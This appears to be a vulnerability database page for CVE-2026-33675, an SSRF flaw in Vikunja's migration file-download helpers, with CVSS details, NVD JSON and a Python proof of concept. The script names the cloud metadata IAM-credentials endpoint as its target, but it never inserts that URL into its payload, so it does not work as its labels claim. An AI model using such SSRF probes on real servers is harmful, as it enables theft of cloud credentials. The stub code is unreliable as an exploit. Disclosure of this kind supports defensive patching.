Security Vulnerability Report
中文
CVE-2026-33675 CVSS 6.4 MEDIUM

CVE-2026-33675

Published: 2026-03-24 16:16:35
Last Modified: 2026-03-27 16:20:08

Description

Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment. Version 2.2.1 patches the issue.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:* - VULNERABLE
Vikunja < 2.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-33675 (Vikunja SSRF) # This script demonstrates how an attacker might exploit the migration feature. import requests import json # Configuration TARGET_URL = "http://localhost:3456/api/v1/migration/trello" # Example endpoint MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Internal metadata endpoint # Headers headers = { "Authorization": "Bearer <USER_TOKEN>", "Content-Type": "application/json" } # Payload mimicking a Trello migration request with a malicious attachment URL # In a real scenario, the attacker would need to control the Trello API response # or intercept the request to inject the URL. payload = { "code": "<MIGRATION_CODE>", # The vulnerability lies in the backend processing the file URLs from the third-party API. # This payload structure represents the data flow leading to the vulnerable function. } print(f"[*] Attempting to trigger migration with SSRF payload pointing to: {MALICIOUS_URL}") try: # Note: Actual exploitation requires triggering the specific migration flow. # This is a simplified representation of the request interaction. response = requests.post(TARGET_URL, headers=headers, json=payload) if response.status_code == 200: print("[+] Migration request initiated successfully.") print("[+] Check the downloaded task attachments for the SSRF response.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33675", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:34.787", "lastModified": "2026-03-27T16:20:07.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment. Version 2.2.1 patches the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. Antes de la versión 2.2.1, las funciones auxiliares de migración 'DownloadFile' y 'DownloadFileWithHeaders' en 'pkg/modules/migration/helpers.go' realizan solicitudes HTTP GET arbitrarias sin ninguna protección SSRF. Cuando un usuario activa una migración de Todoist o Trello, las URL de archivos adjuntos de la respuesta de la API de terceros se pasan directamente a estas funciones, permitiendo a un atacante forzar al servidor de Vikunja a obtener recursos de red internos y devolver la respuesta como un archivo adjunto de tarea descargable. La versión 2.2.1 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.1", "matchCriteriaId": "E8647862-9C78-473D-9FED-7AFC24335A61"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/93297742236e3d33af72c993e5da960db01d259e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g66v-54v9-52pr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g66v-54v9-52pr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}